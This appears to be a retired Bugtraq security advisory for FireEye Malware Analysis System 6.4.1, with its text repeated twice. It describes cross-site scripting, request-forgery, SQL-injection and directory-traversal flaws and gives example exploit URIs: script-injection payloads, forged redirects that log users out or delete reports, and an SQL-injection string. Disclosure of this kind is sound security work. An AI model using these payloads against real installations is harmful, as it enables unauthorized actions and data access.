RETIRED: FireEye Malware Analysis System Multiple Security Vulnerabilities
BID:68422
Info
RETIRED: FireEye Malware Analysis System Multiple Security Vulnerabilities
| Bugtraq ID: | 68422 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 02 2014 12:00AM |
| Updated: | Jul 14 2014 12:57AM |
| Credit: | kmkz |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
RETIRED: FireEye Malware Analysis System Multiple Security Vulnerabilities
FireEye Malware Analysis System is prone to the following security vulnerabilities:
1. Multiple cross-site scripting vulnerabilities
2. A cross-site request forgery vulnerability
3. An SQL-injection vulnerability
4. A directory-traversal vulnerability
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, to steal cookie-based authentication credentials, read arbitrary files, access or modify data, exploit latent vulnerabilities in the underlying database, or perform certain unauthorized actions and gain access to the affected application.
FireEye Malware Analysis System 6.4.1 is vulnerable; other versions may also be affected.
This BID is being retired. The following individual records exist to better document the issues:
68491 Multiple FireEye Products Cross Site Scripting and Cross Site Request Forgery Vulnerabilities
68493 Multiple FireEye Products Unspecified Cross Site Scripting Vulnerability
68497 Multiple FireEye Products Unspecified Information Disclosure Vulnerability
FireEye Malware Analysis System is prone to the following security vulnerabilities:
1. Multiple cross-site scripting vulnerabilities
2. A cross-site request forgery vulnerability
3. An SQL-injection vulnerability
4. A directory-traversal vulnerability
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, to steal cookie-based authentication credentials, read arbitrary files, access or modify data, exploit latent vulnerabilities in the underlying database, or perform certain unauthorized actions and gain access to the affected application.
FireEye Malware Analysis System 6.4.1 is vulnerable; other versions may also be affected.
This BID is being retired. The following individual records exist to better document the issues:
68491 Multiple FireEye Products Cross Site Scripting and Cross Site Request Forgery Vulnerabilities
68493 Multiple FireEye Products Unspecified Cross Site Scripting Vulnerability
68497 Multiple FireEye Products Unspecified Information Disclosure Vulnerability
Exploit / POC
RETIRED: FireEye Malware Analysis System Multiple Security Vulnerabilities
Attackers can exploit these issues using a browser or readily available tools. To exploit the cross-site scripting and cross-site request-forgery issue, an attacker must entice an unsuspecting user to follow a malicious URI.
The following example URIs are available:
Cross-site scripting:
https://www.example.com/yara/show_ya_file?name=<body onload=alert('XSSED')>
https://www.example.com/network/network?new_domain=%3Cscript%3Ealert%28%27XSSED%27%29%3C%2Fscript%3E
https://www.example.com/manual/csc?mode=%3C/script%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E
Cross-site request-forgery:
https://www.example.com/network/network?new_domain=<script>document.location="https://www.example.com/login/logout?notice=Deconnection+kmkz+CSRF+PoC"</script>
https://www.example.com/network/network?new_domain=%3Cscript%3Edocument.location%3D%22https://www.example.com%2Flogin%2Flogout%3Fnotice%3DDeconnection%2Bkmkz%2BCSRF%2BPoC%22%3C%2Fscript%3E
https://www.example.com/network/network?new_domain=<script>document.location="https://www.example.com/report/delete_pdf/?id=Alert_Details_fireye-2F_20140502_120000.xml"</script>
https://www.example.com/network/network?new_domain=%3Cscript%3Edocument.location%3D%22https%3A%2F%2Fwww.example.com%2Freport%2Fdelete_pdf%2F%3Fid%3DAlert_Details_fireye-2F_20140502_120000.xml%22%3C%2Fscript%3E
SQL-injection:
https://www.example.com/event_stream/send_pcap_file?ev_id=9999 OR SELECT 1,2 FROM events /**
Attackers can exploit these issues using a browser or readily available tools. To exploit the cross-site scripting and cross-site request-forgery issue, an attacker must entice an unsuspecting user to follow a malicious URI.
The following example URIs are available:
Cross-site scripting:
https://www.example.com/yara/show_ya_file?name=<body onload=alert('XSSED')>
https://www.example.com/network/network?new_domain=%3Cscript%3Ealert%28%27XSSED%27%29%3C%2Fscript%3E
https://www.example.com/manual/csc?mode=%3C/script%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E
Cross-site request-forgery:
https://www.example.com/network/network?new_domain=<script>document.location="https://www.example.com/login/logout?notice=Deconnection+kmkz+CSRF+PoC"</script>
https://www.example.com/network/network?new_domain=%3Cscript%3Edocument.location%3D%22https://www.example.com%2Flogin%2Flogout%3Fnotice%3DDeconnection%2Bkmkz%2BCSRF%2BPoC%22%3C%2Fscript%3E
https://www.example.com/network/network?new_domain=<script>document.location="https://www.example.com/report/delete_pdf/?id=Alert_Details_fireye-2F_20140502_120000.xml"</script>
https://www.example.com/network/network?new_domain=%3Cscript%3Edocument.location%3D%22https%3A%2F%2Fwww.example.com%2Freport%2Fdelete_pdf%2F%3Fid%3DAlert_Details_fireye-2F_20140502_120000.xml%22%3C%2Fscript%3E
SQL-injection:
https://www.example.com/event_stream/send_pcap_file?ev_id=9999 OR SELECT 1,2 FROM events /**
Solution / Fix
RETIRED: FireEye Malware Analysis System Multiple Security Vulnerabilities
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
RETIRED: FireEye Malware Analysis System Multiple Security Vulnerabilities
References:
References: